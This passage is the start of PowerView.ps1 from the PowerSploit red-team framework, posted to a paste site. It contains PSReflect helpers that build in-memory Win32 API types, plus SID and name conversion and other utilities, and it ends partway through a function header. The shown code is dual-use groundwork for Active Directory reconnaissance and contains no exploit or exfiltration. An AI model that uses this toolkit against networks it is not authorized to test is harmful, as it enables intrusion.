· 5 years ago · Mar 29, 2020, 12:00 PM
1#requires -version 2
2
3<#
4
5 PowerSploit File: PowerView.ps1
6 Author: Will Schroeder (@harmj0y)
7 License: BSD 3-Clause
8 Required Dependencies: None
9 Optional Dependencies: None
10
11#>
12
13########################################################
14#
15# PSReflect code for Windows API access
16# Author: @mattifestation
17# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
18#
19########################################################
20
21function New-InMemoryModule
22{
23<#
24 .SYNOPSIS
25
26 Creates an in-memory assembly and module
27
28 Author: Matthew Graeber (@mattifestation)
29 License: BSD 3-Clause
30 Required Dependencies: None
31 Optional Dependencies: None
32
33 .DESCRIPTION
34
35 When defining custom enums, structs, and unmanaged functions, it is
36 necessary to associate to an assembly module. This helper function
37 creates an in-memory module that can be passed to the 'enum',
38 'struct', and Add-Win32Type functions.
39
40 .PARAMETER ModuleName
41
42 Specifies the desired name for the in-memory assembly and module. If
43 ModuleName is not provided, it will default to a GUID.
44
45 .EXAMPLE
46
47 $Module = New-InMemoryModule -ModuleName Win32
48#>
49
50 Param
51 (
52 [Parameter(Position = 0)]
53 [ValidateNotNullOrEmpty()]
54 [String]
55 $ModuleName = [Guid]::NewGuid().ToString()
56 )
57
58 $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
59
60 ForEach ($Assembly in $LoadedAssemblies) {
61 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
62 return $Assembly
63 }
64 }
65
66 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
67 $Domain = [AppDomain]::CurrentDomain
68 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
69 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
70
71 return $ModuleBuilder
72}
73
74
75# A helper function used to reduce typing while defining function
76# prototypes for Add-Win32Type.
77function func
78{
79 Param
80 (
81 [Parameter(Position = 0, Mandatory = $True)]
82 [String]
83 $DllName,
84
85 [Parameter(Position = 1, Mandatory = $True)]
86 [String]
87 $FunctionName,
88
89 [Parameter(Position = 2, Mandatory = $True)]
90 [Type]
91 $ReturnType,
92
93 [Parameter(Position = 3)]
94 [Type[]]
95 $ParameterTypes,
96
97 [Parameter(Position = 4)]
98 [Runtime.InteropServices.CallingConvention]
99 $NativeCallingConvention,
100
101 [Parameter(Position = 5)]
102 [Runtime.InteropServices.CharSet]
103 $Charset,
104
105 [Switch]
106 $SetLastError
107 )
108
109 $Properties = @{
110 DllName = $DllName
111 FunctionName = $FunctionName
112 ReturnType = $ReturnType
113 }
114
115 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
116 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
117 if ($Charset) { $Properties['Charset'] = $Charset }
118 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
119
120 New-Object PSObject -Property $Properties
121}
122
123
124function Add-Win32Type
125{
126<#
127 .SYNOPSIS
128
129 Creates a .NET type for an unmanaged Win32 function.
130
131 Author: Matthew Graeber (@mattifestation)
132 License: BSD 3-Clause
133 Required Dependencies: None
134 Optional Dependencies: func
135
136 .DESCRIPTION
137
138 Add-Win32Type enables you to easily interact with unmanaged (i.e.
139 Win32 unmanaged) functions in PowerShell. After providing
140 Add-Win32Type with a function signature, a .NET type is created
141 using reflection (i.e. csc.exe is never called like with Add-Type).
142
143 The 'func' helper function can be used to reduce typing when defining
144 multiple function definitions.
145
146 .PARAMETER DllName
147
148 The name of the DLL.
149
150 .PARAMETER FunctionName
151
152 The name of the target function.
153
154 .PARAMETER ReturnType
155
156 The return type of the function.
157
158 .PARAMETER ParameterTypes
159
160 The function parameters.
161
162 .PARAMETER NativeCallingConvention
163
164 Specifies the native calling convention of the function. Defaults to
165 stdcall.
166
167 .PARAMETER Charset
168
169 If you need to explicitly call an 'A' or 'W' Win32 function, you can
170 specify the character set.
171
172 .PARAMETER SetLastError
173
174 Indicates whether the callee calls the SetLastError Win32 API
175 function before returning from the attributed method.
176
177 .PARAMETER Module
178
179 The in-memory module that will host the functions. Use
180 New-InMemoryModule to define an in-memory module.
181
182 .PARAMETER Namespace
183
184 An optional namespace to prepend to the type. Add-Win32Type defaults
185 to a namespace consisting only of the name of the DLL.
186
187 .EXAMPLE
188
189 $Mod = New-InMemoryModule -ModuleName Win32
190
191 $FunctionDefinitions = @(
192 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
193 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
194 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
195 )
196
197 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
198 $Kernel32 = $Types['kernel32']
199 $Ntdll = $Types['ntdll']
200 $Ntdll::RtlGetCurrentPeb()
201 $ntdllbase = $Kernel32::GetModuleHandle('ntdll')
202 $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
203
204 .NOTES
205
206 Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
207
208 When defining multiple function prototypes, it is ideal to provide
209 Add-Win32Type with an array of function signatures. That way, they
210 are all incorporated into the same in-memory module.
211#>
212
213 [OutputType([Hashtable])]
214 Param(
215 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
216 [String]
217 $DllName,
218
219 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
220 [String]
221 $FunctionName,
222
223 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
224 [Type]
225 $ReturnType,
226
227 [Parameter(ValueFromPipelineByPropertyName = $True)]
228 [Type[]]
229 $ParameterTypes,
230
231 [Parameter(ValueFromPipelineByPropertyName = $True)]
232 [Runtime.InteropServices.CallingConvention]
233 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
234
235 [Parameter(ValueFromPipelineByPropertyName = $True)]
236 [Runtime.InteropServices.CharSet]
237 $Charset = [Runtime.InteropServices.CharSet]::Auto,
238
239 [Parameter(ValueFromPipelineByPropertyName = $True)]
240 [Switch]
241 $SetLastError,
242
243 [Parameter(Mandatory = $True)]
244 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
245 $Module,
246
247 [ValidateNotNull()]
248 [String]
249 $Namespace = ''
250 )
251
252 BEGIN
253 {
254 $TypeHash = @{}
255 }
256
257 PROCESS
258 {
259 if ($Module -is [Reflection.Assembly])
260 {
261 if ($Namespace)
262 {
263 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
264 }
265 else
266 {
267 $TypeHash[$DllName] = $Module.GetType($DllName)
268 }
269 }
270 else
271 {
272 # Define one type for each DLL
273 if (!$TypeHash.ContainsKey($DllName))
274 {
275 if ($Namespace)
276 {
277 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
278 }
279 else
280 {
281 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
282 }
283 }
284
285 $Method = $TypeHash[$DllName].DefineMethod(
286 $FunctionName,
287 'Public,Static,PinvokeImpl',
288 $ReturnType,
289 $ParameterTypes)
290
291 # Make each ByRef parameter an Out parameter
292 $i = 1
293 ForEach($Parameter in $ParameterTypes)
294 {
295 if ($Parameter.IsByRef)
296 {
297 [void] $Method.DefineParameter($i, 'Out', $Null)
298 }
299
300 $i++
301 }
302
303 $DllImport = [Runtime.InteropServices.DllImportAttribute]
304 $SetLastErrorField = $DllImport.GetField('SetLastError')
305 $CallingConventionField = $DllImport.GetField('CallingConvention')
306 $CharsetField = $DllImport.GetField('CharSet')
307 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
308
309 # Equivalent to C# version of [DllImport(DllName)]
310 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
311 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
312 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
313 [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
314 [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
315
316 $Method.SetCustomAttribute($DllImportAttribute)
317 }
318 }
319
320 END
321 {
322 if ($Module -is [Reflection.Assembly])
323 {
324 return $TypeHash
325 }
326
327 $ReturnTypes = @{}
328
329 ForEach ($Key in $TypeHash.Keys)
330 {
331 $Type = $TypeHash[$Key].CreateType()
332
333 $ReturnTypes[$Key] = $Type
334 }
335
336 return $ReturnTypes
337 }
338}
339
340
341function psenum
342{
343<#
344 .SYNOPSIS
345
346 Creates an in-memory enumeration for use in your PowerShell session.
347
348 Author: Matthew Graeber (@mattifestation)
349 License: BSD 3-Clause
350 Required Dependencies: None
351 Optional Dependencies: None
352
353 .DESCRIPTION
354
355 The 'psenum' function facilitates the creation of enums entirely in
356 memory using as close to a "C style" as PowerShell will allow.
357
358 .PARAMETER Module
359
360 The in-memory module that will host the enum. Use
361 New-InMemoryModule to define an in-memory module.
362
363 .PARAMETER FullName
364
365 The fully-qualified name of the enum.
366
367 .PARAMETER Type
368
369 The type of each enum element.
370
371 .PARAMETER EnumElements
372
373 A hashtable of enum elements.
374
375 .PARAMETER Bitfield
376
377 Specifies that the enum should be treated as a bitfield.
378
379 .EXAMPLE
380
381 $Mod = New-InMemoryModule -ModuleName Win32
382
383 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
384 UNKNOWN = 0
385 NATIVE = 1 # Image doesn't require a subsystem.
386 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
387 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
388 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
389 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
390 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
391 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
392 EFI_APPLICATION = 10
393 EFI_BOOT_SERVICE_DRIVER = 11
394 EFI_RUNTIME_DRIVER = 12
395 EFI_ROM = 13
396 XBOX = 14
397 WINDOWS_BOOT_APPLICATION = 16
398 }
399
400 .NOTES
401
402 PowerShell purists may disagree with the naming of this function but
403 again, this was developed in such a way so as to emulate a "C style"
404 definition as closely as possible. Sorry, I'm not going to name it
405 New-Enum. :P
406#>
407
408 [OutputType([Type])]
409 Param
410 (
411 [Parameter(Position = 0, Mandatory = $True)]
412 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
413 $Module,
414
415 [Parameter(Position = 1, Mandatory = $True)]
416 [ValidateNotNullOrEmpty()]
417 [String]
418 $FullName,
419
420 [Parameter(Position = 2, Mandatory = $True)]
421 [Type]
422 $Type,
423
424 [Parameter(Position = 3, Mandatory = $True)]
425 [ValidateNotNullOrEmpty()]
426 [Hashtable]
427 $EnumElements,
428
429 [Switch]
430 $Bitfield
431 )
432
433 if ($Module -is [Reflection.Assembly])
434 {
435 return ($Module.GetType($FullName))
436 }
437
438 $EnumType = $Type -as [Type]
439
440 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
441
442 if ($Bitfield)
443 {
444 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
445 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
446 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
447 }
448
449 ForEach ($Key in $EnumElements.Keys)
450 {
451 # Apply the specified enum type to each element
452 $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
453 }
454
455 $EnumBuilder.CreateType()
456}
457
458
459# A helper function used to reduce typing while defining struct
460# fields.
461function field
462{
463 Param
464 (
465 [Parameter(Position = 0, Mandatory = $True)]
466 [UInt16]
467 $Position,
468
469 [Parameter(Position = 1, Mandatory = $True)]
470 [Type]
471 $Type,
472
473 [Parameter(Position = 2)]
474 [UInt16]
475 $Offset,
476
477 [Object[]]
478 $MarshalAs
479 )
480
481 @{
482 Position = $Position
483 Type = $Type -as [Type]
484 Offset = $Offset
485 MarshalAs = $MarshalAs
486 }
487}
488
489
490function struct
491{
492<#
493 .SYNOPSIS
494
495 Creates an in-memory struct for use in your PowerShell session.
496
497 Author: Matthew Graeber (@mattifestation)
498 License: BSD 3-Clause
499 Required Dependencies: None
500 Optional Dependencies: field
501
502 .DESCRIPTION
503
504 The 'struct' function facilitates the creation of structs entirely in
505 memory using as close to a "C style" as PowerShell will allow. Struct
506 fields are specified using a hashtable where each field of the struct
507 is comprosed of the order in which it should be defined, its .NET
508 type, and optionally, its offset and special marshaling attributes.
509
510 One of the features of 'struct' is that after your struct is defined,
511 it will come with a built-in GetSize method as well as an explicit
512 converter so that you can easily cast an IntPtr to the struct without
513 relying upon calling SizeOf and/or PtrToStructure in the Marshal
514 class.
515
516 .PARAMETER Module
517
518 The in-memory module that will host the struct. Use
519 New-InMemoryModule to define an in-memory module.
520
521 .PARAMETER FullName
522
523 The fully-qualified name of the struct.
524
525 .PARAMETER StructFields
526
527 A hashtable of fields. Use the 'field' helper function to ease
528 defining each field.
529
530 .PARAMETER PackingSize
531
532 Specifies the memory alignment of fields.
533
534 .PARAMETER ExplicitLayout
535
536 Indicates that an explicit offset for each field will be specified.
537
538 .EXAMPLE
539
540 $Mod = New-InMemoryModule -ModuleName Win32
541
542 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
543 DOS_SIGNATURE = 0x5A4D
544 OS2_SIGNATURE = 0x454E
545 OS2_SIGNATURE_LE = 0x454C
546 VXD_SIGNATURE = 0x454C
547 }
548
549 $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
550 e_magic = field 0 $ImageDosSignature
551 e_cblp = field 1 UInt16
552 e_cp = field 2 UInt16
553 e_crlc = field 3 UInt16
554 e_cparhdr = field 4 UInt16
555 e_minalloc = field 5 UInt16
556 e_maxalloc = field 6 UInt16
557 e_ss = field 7 UInt16
558 e_sp = field 8 UInt16
559 e_csum = field 9 UInt16
560 e_ip = field 10 UInt16
561 e_cs = field 11 UInt16
562 e_lfarlc = field 12 UInt16
563 e_ovno = field 13 UInt16
564 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
565 e_oemid = field 15 UInt16
566 e_oeminfo = field 16 UInt16
567 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
568 e_lfanew = field 18 Int32
569 }
570
571 # Example of using an explicit layout in order to create a union.
572 $TestUnion = struct $Mod TestUnion @{
573 field1 = field 0 UInt32 0
574 field2 = field 1 IntPtr 0
575 } -ExplicitLayout
576
577 .NOTES
578
579 PowerShell purists may disagree with the naming of this function but
580 again, this was developed in such a way so as to emulate a "C style"
581 definition as closely as possible. Sorry, I'm not going to name it
582 New-Struct. :P
583#>
584
585 [OutputType([Type])]
586 Param
587 (
588 [Parameter(Position = 1, Mandatory = $True)]
589 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
590 $Module,
591
592 [Parameter(Position = 2, Mandatory = $True)]
593 [ValidateNotNullOrEmpty()]
594 [String]
595 $FullName,
596
597 [Parameter(Position = 3, Mandatory = $True)]
598 [ValidateNotNullOrEmpty()]
599 [Hashtable]
600 $StructFields,
601
602 [Reflection.Emit.PackingSize]
603 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
604
605 [Switch]
606 $ExplicitLayout
607 )
608
609 if ($Module -is [Reflection.Assembly])
610 {
611 return ($Module.GetType($FullName))
612 }
613
614 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
615 Class,
616 Public,
617 Sealed,
618 BeforeFieldInit'
619
620 if ($ExplicitLayout)
621 {
622 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
623 }
624 else
625 {
626 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
627 }
628
629 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
630 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
631 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
632
633 $Fields = New-Object Hashtable[]($StructFields.Count)
634
635 # Sort each field according to the orders specified
636 # Unfortunately, PSv2 doesn't have the luxury of the
637 # hashtable [Ordered] accelerator.
638 ForEach ($Field in $StructFields.Keys)
639 {
640 $Index = $StructFields[$Field]['Position']
641 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
642 }
643
644 ForEach ($Field in $Fields)
645 {
646 $FieldName = $Field['FieldName']
647 $FieldProp = $Field['Properties']
648
649 $Offset = $FieldProp['Offset']
650 $Type = $FieldProp['Type']
651 $MarshalAs = $FieldProp['MarshalAs']
652
653 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
654
655 if ($MarshalAs)
656 {
657 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
658 if ($MarshalAs[1])
659 {
660 $Size = $MarshalAs[1]
661 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
662 $UnmanagedType, $SizeConst, @($Size))
663 }
664 else
665 {
666 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
667 }
668
669 $NewField.SetCustomAttribute($AttribBuilder)
670 }
671
672 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
673 }
674
675 # Make the struct aware of its own size.
676 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
677 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
678 'Public, Static',
679 [Int],
680 [Type[]] @())
681 $ILGenerator = $SizeMethod.GetILGenerator()
682 # Thanks for the help, Jason Shirk!
683 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
684 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
685 [Type].GetMethod('GetTypeFromHandle'))
686 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
687 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
688 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
689
690 # Allow for explicit casting from an IntPtr
691 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
692 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
693 'PrivateScope, Public, Static, HideBySig, SpecialName',
694 $StructBuilder,
695 [Type[]] @([IntPtr]))
696 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
697 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
698 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
699 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
700 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
701 [Type].GetMethod('GetTypeFromHandle'))
702 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
703 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
704 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
705 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
706
707 $StructBuilder.CreateType()
708}
709
710
711########################################################
712#
713# Misc. helpers
714#
715########################################################
716
717filter Get-IniContent {
718<#
719 .SYNOPSIS
720
721 This helper parses an .ini file into a proper PowerShell object.
722
723 Author: 'The Scripting Guys'
724 Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
725
726 .LINK
727
728 https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
729#>
730 [CmdletBinding()]
731 Param(
732 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
733 [Alias('FullName')]
734 [ValidateScript({ Test-Path -Path $_ })]
735 [String[]]
736 $Path
737 )
738
739 ForEach($TargetPath in $Path) {
740 $IniObject = @{}
741 Switch -Regex -File $TargetPath {
742 "^\[(.+)\]" # Section
743 {
744 $Section = $matches[1].Trim()
745 $IniObject[$Section] = @{}
746 $CommentCount = 0
747 }
748 "^(;.*)$" # Comment
749 {
750 $Value = $matches[1].Trim()
751 $CommentCount = $CommentCount + 1
752 $Name = 'Comment' + $CommentCount
753 $IniObject[$Section][$Name] = $Value
754 }
755 "(.+?)\s*=(.*)" # Key
756 {
757 $Name, $Value = $matches[1..2]
758 $Name = $Name.Trim()
759 $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
760 if($Values -isnot [System.Array]) {$Values = @($Values)}
761 $IniObject[$Section][$Name] = $Values
762 }
763 }
764 $IniObject
765 }
766}
767
768filter Export-PowerViewCSV {
769<#
770 .SYNOPSIS
771
772 This helper exports an -InputObject to a .csv in a thread-safe manner
773 using a mutex. This is so the various multi-threaded functions in
774 PowerView has a thread-safe way to export output to the same file.
775
776 Based partially on Dmitry Sotnikov's Export-CSV code
777 at http://poshcode.org/1590
778
779 .LINK
780
781 http://poshcode.org/1590
782 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
783#>
784 Param(
785 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
786 [System.Management.Automation.PSObject[]]
787 $InputObject,
788
789 [Parameter(Mandatory=$True, Position=0)]
790 [String]
791 [ValidateNotNullOrEmpty()]
792 $OutFile
793 )
794
795 $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation
796
797 # mutex so threaded code doesn't stomp on the output file
798 $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';
799 $Null = $Mutex.WaitOne()
800
801 if (Test-Path -Path $OutFile) {
802 # hack to skip the first line of output if the file already exists
803 $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
804 }
805 else {
806 $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
807 }
808
809 $Mutex.ReleaseMutex()
810}
811
812
813filter Get-IPAddress {
814<#
815 .SYNOPSIS
816
817 Resolves a given hostename to its associated IPv4 address.
818 If no hostname is provided, it defaults to returning
819 the IP address of the localhost.
820
821 .EXAMPLE
822
823 PS C:\> Get-IPAddress -ComputerName SERVER
824
825 Return the IPv4 address of 'SERVER'
826
827 .EXAMPLE
828
829 PS C:\> Get-Content .\hostnames.txt | Get-IPAddress
830
831 Get the IP addresses of all hostnames in an input file.
832#>
833
834 [CmdletBinding()]
835 param(
836 [Parameter(Position=0, ValueFromPipeline=$True)]
837 [Alias('HostName')]
838 [String]
839 $ComputerName = $Env:ComputerName
840 )
841
842 try {
843 # extract the computer name from whatever object was passed on the pipeline
844 $Computer = $ComputerName | Get-NameField
845
846 # get the IP resolution of this specified hostname
847 @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
848 if ($_.AddressFamily -eq 'InterNetwork') {
849 $Out = New-Object PSObject
850 $Out | Add-Member Noteproperty 'ComputerName' $Computer
851 $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
852 $Out
853 }
854 }
855 }
856 catch {
857 Write-Verbose -Message 'Could not resolve host to an IP Address.'
858 }
859}
860
861
862filter Convert-NameToSid {
863<#
864 .SYNOPSIS
865
866 Converts a given user/group name to a security identifier (SID).
867
868 .PARAMETER ObjectName
869
870 The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
871
872 .PARAMETER Domain
873
874 Specific domain for the given user account, defaults to the current domain.
875
876 .EXAMPLE
877
878 PS C:\> Convert-NameToSid 'DEV\dfm'
879#>
880 [CmdletBinding()]
881 param(
882 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
883 [String]
884 [Alias('Name')]
885 $ObjectName,
886
887 [String]
888 $Domain
889 )
890
891 $ObjectName = $ObjectName -Replace "/","\"
892
893 if($ObjectName.Contains("\")) {
894 # if we get a DOMAIN\user format, auto convert it
895 $Domain = $ObjectName.Split("\")[0]
896 $ObjectName = $ObjectName.Split("\")[1]
897 }
898 elseif(-not $Domain) {
899 $Domain = (Get-NetDomain).Name
900 }
901
902 try {
903 $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))
904 $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
905
906 $Out = New-Object PSObject
907 $Out | Add-Member Noteproperty 'ObjectName' $ObjectName
908 $Out | Add-Member Noteproperty 'SID' $SID
909 $Out
910 }
911 catch {
912 Write-Verbose "Invalid object/name: $Domain\$ObjectName"
913 $Null
914 }
915}
916
917
918filter Convert-SidToName {
919<#
920 .SYNOPSIS
921
922 Converts a security identifier (SID) to a group/user name.
923
924 .PARAMETER SID
925
926 The SID to convert.
927
928 .EXAMPLE
929
930 PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105
931#>
932 [CmdletBinding()]
933 param(
934 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
935 [String]
936 [ValidatePattern('^S-1-.*')]
937 $SID
938 )
939
940 try {
941 $SID2 = $SID.trim('*')
942
943 # try to resolve any built-in SIDs first
944 # from https://support.microsoft.com/en-us/kb/243330
945 Switch ($SID2) {
946 'S-1-0' { 'Null Authority' }
947 'S-1-0-0' { 'Nobody' }
948 'S-1-1' { 'World Authority' }
949 'S-1-1-0' { 'Everyone' }
950 'S-1-2' { 'Local Authority' }
951 'S-1-2-0' { 'Local' }
952 'S-1-2-1' { 'Console Logon ' }
953 'S-1-3' { 'Creator Authority' }
954 'S-1-3-0' { 'Creator Owner' }
955 'S-1-3-1' { 'Creator Group' }
956 'S-1-3-2' { 'Creator Owner Server' }
957 'S-1-3-3' { 'Creator Group Server' }
958 'S-1-3-4' { 'Owner Rights' }
959 'S-1-4' { 'Non-unique Authority' }
960 'S-1-5' { 'NT Authority' }
961 'S-1-5-1' { 'Dialup' }
962 'S-1-5-2' { 'Network' }
963 'S-1-5-3' { 'Batch' }
964 'S-1-5-4' { 'Interactive' }
965 'S-1-5-6' { 'Service' }
966 'S-1-5-7' { 'Anonymous' }
967 'S-1-5-8' { 'Proxy' }
968 'S-1-5-9' { 'Enterprise Domain Controllers' }
969 'S-1-5-10' { 'Principal Self' }
970 'S-1-5-11' { 'Authenticated Users' }
971 'S-1-5-12' { 'Restricted Code' }
972 'S-1-5-13' { 'Terminal Server Users' }
973 'S-1-5-14' { 'Remote Interactive Logon' }
974 'S-1-5-15' { 'This Organization ' }
975 'S-1-5-17' { 'This Organization ' }
976 'S-1-5-18' { 'Local System' }
977 'S-1-5-19' { 'NT Authority' }
978 'S-1-5-20' { 'NT Authority' }
979 'S-1-5-80-0' { 'All Services ' }
980 'S-1-5-32-544' { 'BUILTIN\Administrators' }
981 'S-1-5-32-545' { 'BUILTIN\Users' }
982 'S-1-5-32-546' { 'BUILTIN\Guests' }
983 'S-1-5-32-547' { 'BUILTIN\Power Users' }
984 'S-1-5-32-548' { 'BUILTIN\Account Operators' }
985 'S-1-5-32-549' { 'BUILTIN\Server Operators' }
986 'S-1-5-32-550' { 'BUILTIN\Print Operators' }
987 'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
988 'S-1-5-32-552' { 'BUILTIN\Replicators' }
989 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
990 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
991 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
992 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
993 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
994 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
995 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
996 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
997 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
998 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
999 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
1000 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
1001 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
1002 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
1003 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
1004 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
1005 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
1006 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
1007 Default {
1008 $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))
1009 $Obj.Translate( [System.Security.Principal.NTAccount]).Value
1010 }
1011 }
1012 }
1013 catch {
1014 Write-Verbose "Invalid SID: $SID"
1015 $SID
1016 }
1017}
1018
1019
1020filter Convert-ADName {
1021<#
1022 .SYNOPSIS
1023
1024 Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)
1025 to canonical format (domain.com/Users/user) or NT4.
1026
1027 Based on Bill Stewart's code from this article:
1028 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
1029
1030 .PARAMETER ObjectName
1031
1032 The user/group name to convert.
1033
1034 .PARAMETER InputType
1035
1036 The InputType of the user/group name ("NT4","Simple","Canonical").
1037
1038 .PARAMETER OutputType
